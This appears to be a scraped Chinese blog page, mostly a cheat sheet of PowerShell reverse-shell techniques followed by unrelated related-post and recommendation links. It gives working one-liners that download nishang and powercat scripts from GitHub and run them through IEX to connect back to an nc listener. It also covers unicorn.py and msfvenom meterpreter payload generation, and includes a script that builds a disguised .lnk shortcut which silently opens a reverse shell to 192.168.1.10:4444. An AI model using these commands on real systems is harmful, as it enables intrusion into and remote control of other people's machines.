Invoke-PowerShellTcp.ps1

监听主机:nc -nv -l -p 9999

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp  -Reverse -IPAddress 监听主机ip -Port 9999"

powercat.ps1

监听主机:nc -nv -l -p 9999

powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 监听主机ip  -p 9999 -e cmd.exe"

unicorn.py

Eg:python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443

msf生成powershell

 msfvenom  -p   windows/x64/meterpreter/reverse_tcp  LHOST=xxxx   LPORT=xxx  -f  psh-reflection> shell.ps1

生成快捷方式shell的Powershell脚本

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\lnk_tests\payload.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = '-windowstyle hidden /c $client = New-Object System.Net.Sockets.TCPClient("""192.168.1.10""",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + """PS """ + (pwd).Path + """> """;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Shortcut.Save()

 

Get shell By Powershell的更多相关文章

  1. [Shell]Powershell反弹shell

    原作者:Cream 文章出处: 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 . ...

  2. Emacs助力PowerShell

    Emacs助力PowerShell 阅读目录 1 下载安装Emacs windows版本 2 下载el文件和配置Emacs加载PowerShell 3 体验用Emacs来执行和编辑PowerShell ...

  3. shell第二篇

    第二篇知道shell是什么,再来了解一下shell的分类及相关历史 参考百度百科:shell 1.shell概念(计算机壳层) 在计算机科学中,Shell俗称壳(用来区别于核),是指"提供使 ...

  4. 此贴告诉你:为啥shell脚本人,不建议学python

    py很强大,我承认.但在运维方面,py不但不强大,还有硬伤.正因为有下述硬伤,所以我们运维,还是用shell多,用py极少.我看到用shell的人很多,你建议人用python,人说py是很好,但下一秒 ...

  5. 反弹Shell原理及检测技术研究

    1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...

  6. PowerShell入门学习

    一.概要 Powershell是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境. powershell需要.NET环境的支持,同时支持.NET对象.之所以将Powershell ...

  7. shell(计算机壳层)(一)

    在计算机科学中,Shell俗称壳(用来区别于核),是指“提供使用者使用界面”的软件(命令解析器).它类似于DOS下的command和后来的cmd.exe.它接收用户命令,然后调用相应的应用程序. wi ...

  8. Windows中查看PowerShell版本和virbox版本,vagrant 版本

    我并不是很熟悉什么是PowerShell,但是有种直觉是:如果想在Windows中使用系统自带的功能取代bash shell,PowerShell或许是比DOS批处理更好的选择.不过,从头开始再来一门 ...

  9. 使用F#编写PowerShell模块

    ▲F#和PowerShell模块 作为可能是人类世界最强大的Shell,PowerShell最大的特点是能够直接在命令间传递.NET对象,而支持这种能力的命令被称作cmdlet.自己编写PowerSh ...

随机推荐

  1. 移动端小坑:用户长按H5文字出现复制

    禁止复制方法:*{ -webkit-user-select: none;/*禁用手机浏览器的用户选择功能 */ -moz-user-select: none; -webkit-touch-callou ...

  2. Nginx 反向代理 -- 一路上的坑

    前些天刚过来新公司上班,公司的项目都挺多的,只不过项目都是第三方公司团队开发的,现在本公司要组建自己的团队,我作为一个Java后台人员去接手第三方公司的全部项目,我已经是直接崩溃了(先解释一下我崩溃的 ...

  3. Linux基础操作整理

    1,目录操作 1.1创建目录 1.1.1使用 mkdir 命令创建目录:mkdir $HOME/testFolder 1.2切换目录 1.2.1使用 cd 命令切换目录:cd $HOME/testFo ...

  4. Django——ModuleNotFoundError: No module named 'asgiref.sync'

    Django+channels运行时报错 Unhandled exception in thread started by <function check_errors.<locals&g ...

  5. python3.6.5 + selenium +VS Code 运行报错:Unable to find a matching set of capabilities的解决

    在python3.6.5 + selenium +VS Code 环境中,在class的__init__ 方法初始化火狐浏览器时出现以下错误: 发生异常: selenium.common.except ...

  6. 从web到搭建ssm环境

    1:我先建立了个web项目, (1)在pom.xml中添加了如下 <dependencies>        <!-- Spring -->        <depend ...

  7. jsp 出现cannot be resolved to a type问题解决办法

    (1)检查<%@ page import>是否导入了相关的包.若是没有则需导入 (2)若导入相应的包后问题仍然存在则需创建相关的servlet

  8. java基础知识总结--对象的克隆

    前提:在Java语言中所有的类的都是缺省的继承Java语言中的Object类的, protected native Object clone() throws CloneNotSupportedExc ...

  9. UVALive - 4885 Task 差分约束

    Task 题目连接: https://icpcarchive.ecs.baylor.edu/index.php?option=com_onlinejudge&Itemid=8&page ...

  10. Python 列表改为嵌套列表再转为矩阵

    最终目的--------->[下面的形式我就可以直接转为矩阵,用mat即可] 下午为了实现list的这个功能,查找了好多库,但是都没有找到怎么做,索性就自己封装了一个函数实现了其功能: def ...